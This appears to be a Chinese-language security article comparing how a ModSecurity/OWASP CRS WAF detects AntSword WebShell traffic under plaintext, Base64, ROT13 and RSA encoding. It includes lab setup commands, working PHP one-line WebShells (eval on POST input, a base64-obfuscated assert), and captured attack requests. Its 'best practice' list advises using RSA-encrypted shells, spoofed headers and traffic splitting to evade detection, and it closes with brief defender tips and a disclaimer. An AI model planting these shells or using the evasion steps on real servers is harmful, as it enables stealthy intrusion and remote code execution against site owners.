WAF对WebShell流量检测的性能分析
字数 1568 2025-08-18 11:39:15
WebShell流量加密与WAF检测绕过技术分析
1. 背景与问题概述
在一次授权渗透测试中,攻击者发现:
- 已找到后台上传点并上传WebShell
- 使用蚁剑(AntSword)连接时因明文传输被WAF检测
- WebShell被管理员清除
核心问题:明文WebShell流量容易被WAF检测和拦截。
2. 实验环境搭建
2.1 基础环境配置
- 操作系统:CentOS (VirtualBox虚拟机)
- Web服务器:Apache/2.4.6
- PHP版本:5.6.40
安装命令:
# 安装Apache
yum install -y httpd
# 安装PHP 5.6
yum -y install epel-release
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
yum -y install php56w php56w-mysql php56w-gd libjpeg* php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mbstring php56w-bcmath
yum -y install httpd php-gd56w php-intl56w php-mysql56w mod_ssl openssl mcrypt php5-mcrypt56w
yum -y install php56w-mcrypt php56w-soap php56w-intl php56w-pdo
systemctl restart httpd.service
2.2 流量分析工具
安装Wireshark用于流量分析:
yum install wireshark*
2.3 WAF模拟环境
使用ModSecurity + OWASP CRS规则集模拟WAF环境:
# 安装ModSecurity
yum -y install mod_security
# 配置OWASP CRS规则
cd /etc/httpd
git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git
mv owasp-modsecurity-crs modsecurity.d
cd modsecurity-crs
cp crs-setup.conf.example crs-setup.conf
# 修改Apache配置
vi /etc/httpd/conf/httpd.conf
# 添加以下内容:
Include conf.modules.d/*.conf
Include modsecurity.d/owasp-modsecurity-crs/crs-setup.conf
Include modsecurity.d/owasp-modsecurity-crs/rules/*.conf
# 修改ModSecurity为仅记录模式
vim /etc/httpd/conf.d/mod_security.conf
SecRuleEngine DetectionOnly
# 查看拦截日志
tail -f /var/log/httpd/model/modsec_audit.log
3. WebShell流量分析
3.1 明文WebShell
WebShell代码:
<?php @eval($_POST['aaaa']); ?>
蚁剑连接流量特征:
POST /test1.php HTTP/1.1
Host: 192.168.1.13
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 993
Connection: close
aaaa=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){...}
关键危险函数:
eval()- 执行任意PHP代码posix_getegid()- 获取有效组IDposix_geteuid()- 获取有效用户IDget_current_user()- 获取脚本所有者php_uname()- 获取系统信息
WAF检测结果:
- 触发多条高危规则
- 匹配规则数:22条
- 安全等级:3(高)
3.2 Base64加密WebShell
WebShell代码:
<?php
$ant=base64_decode("YXNzZXJ0");
$ant($_POST['ant']);
?>
流量特征:
- 使用
base64_decode解码 - 仍然包含可识别的危险函数名
WAF检测结果:
- 检测到
base64_decode函数 - 匹配规则数:14条
- 安全等级:3(高)
3.3 ROT13加密WebShell
流量特征:
- 使用
str_rot13替代base64_decode - 其他特征与Base64类似
WAF检测结果:
- 与Base64加密相似
- 匹配规则数:14条
- 安全等级:3(高)
3.4 RSA非对称加密WebShell
环境要求:
- PHP开启openssl扩展
- AntSword 2.1.0+版本支持
配置步骤:
- 修改php.ini启用openssl:
extension=php_openssl.dll - 在AntSword中:
- 系统设置 → 编码管理 → 新建编码器 → PHP RSA
- 生成RSA密钥对
流量特征:
POST /rsa.php HTTP/1.1
Host: 192.168.1.13
Content-Type: application/x-www-form-urlencoded
Content-Length: 1712
ant=W%2B9beN7Ltke390bzZGS5JbOBCnO8SRXW6Z8w0WaMF6CdAymaCu6NeWE9FX0kyCFs3jaLkDWkEvcTsSC2gEu85l5ugsVJUK6bTWFlVNeRBoezjTjUJZdjGvnjrxjd5Pn4iZaRjoaxAZPeZP2ozupbevWFUId4ZzkKZ7bIVPrZKk4%3D%7CYjt1kz5Gkj2N6Ajkqp3VXcg%2FEA7emPXV6oyTwZAZS9Ux1%2Fpby5PIuU9LsMZmGlMqGXvRFO23is9MUJpF66yboIAIYqpGRJCDgSP4S%2BfG6DD0lRYGEOIEsfpaLSVMhxZtR6OnFXp%2FfbXqmgGUk0a8HCUfQ83XmXS%2BRsl0Yx2PFc4%3D%7CAWtIrpychlQENib6basrK89LJcjnKk%2Bf5mVM72MOnPHxaviQFXws2TKNdGPI4SI9%2Fkwl%2FUGqB22s6NOwCza1f%2BkzGK7FqEciITMZMNFbokFsmjG8IiWkRO%2B%2BbWWnsMesfavJub9aEln41x8U97WjgKGKMMdqXZHrIRS4KU8pQhU%3D%7CXLL0DnlWOLx3hNXd2VGzmbdcgmtQoiyiiPNQCiBkAbUK1mLM14l6f22Pkl2tSSw%2F9dYIkdZ91wUok9GHDBMmKkL6D%2BJGQxrJDyQXEfytOzfzZmKqp%2BJ%2BryVm2zwLJMXTdpZ%2BUsBWgVzlD%2Bxga6%2F7rCqkG%2FtaWM6e%2BGegcS4lWTE%3D%7CJGJR50q4jSkL028qffvT%2Be%2BnJcMQth6jz86sntyuI3GZQUtjS5%2FoCByIqsGi8zPwCKS0J%2FAEiEGhAwN7%2FBQXYjyVWAs5VpDhPrVUs7EbqFgllVmrNt8T5Rt7O%2FCHVSiR2AQjyG%2BxB1LjO5ElX%2FH8Pfh25dDpVaFt3MEr1lxT69I%3D%7CSIirF52ZEhs%2FMBfco2kWouurB%2F%2FhCvLG29%2BK70a6t8Io%2FE%2F7VL5IO38s2j%2Bjq%2BSw6dUDL9cEUbEx2G2U4r0fHiDSYPbbn9WS6FbQSCPHxG6lxLHCXmmkKxj%2B2P8khyMM%2FHdVCWai%2B5L5hXYr%2BUWFkCkbv%2BUyYUSsfL29sGxWeVA%3D%7Ci1qZBSL6Dfu31cisSj3J%2BY7epLuQl62DdEWMCiZRQOz5AHFsPFsWtO59uedRC0CfMOhcbIDGGq2GNThL8VPz%2FUfLJTd3kuoFo7p225iPcYOKJS75V36ccHw3bMI3LOWcEhUF3LPX2YcaLSvwDDyHfrnWL2Qj6VmQKew8edoAIdU%3D%7CkJih3pPT70J6BiPll9o4PtH%2Byl%2BmB8%2BUPDAS%2FfAu4uzi2yDMCIdzdkaFLlnsUKewHXLf1mWWVpGkfqLCttgZed9wUtl6N22C3nQGZqZ%2FqnNiKeBYK0%2FJBmimOAf7nSMB1WF%2Bab5RmRq6cSSwrWc4ya93kVJzmIg1BdyaiycdN5I%3D%7CHV2y7vs6wQUIQ8DnvveCeD8xtjRecf%2F%2B7rAl7Y4Wa8S4Y0onKYHOz2Nz0hgBJtFN%2BLRIj9%2B%2FYyOq%2Fslq0XW%2BolQCUl5hf8%2F3Y9OmlxKvSCGf3A0IIAquqSaJXpU4w8rqVyP9Od2bgDXDzsOx8YgVdigeyZxLS0TNNODTGIATb7Y%3D
WAF检测结果:
- 仅检测到Host头为IP地址的低风险警告
- 匹配规则数:1条
- 安全等级:1(低)
4. 技术对比与结论
| 加密方式 | 可检测特征 | 匹配规则数 | 安全等级 | 隐蔽性 |
|---|---|---|---|---|
| 明文 | 所有危险函数 | 22 | 3(高) | 差 |
| Base64 | base64_decode等 | 14 | 3(高) | 中 |
| ROT13 | str_rot13等 | 14 | 3(高) | 中 |
| RSA | 几乎无 | 1 | 1(低) | 优 |
最佳实践建议:
- 优先使用RSA非对称加密WebShell
- 确保PHP环境开启openssl扩展
- 配合修改User-Agent等请求头
- 避免使用易被检测的IP地址作为Host
- 考虑流量分散技术(multi发包)
5. 防御建议
对于防御方:
- 加强非对称加密流量的检测能力
- 结合行为分析而不仅是特征匹配
- 监控异常的文件上传行为
- 定期更新WAF规则集
- 实施多层防御策略
6. 扩展思考
进一步规避检测的技术方向:
- 代码混淆技术
- 流量时序分散
- 合法服务伪装
- 内存WebShell
- 无文件攻击技术
注意:本文所有技术仅用于安全研究和技术学习,实际使用需获得合法授权。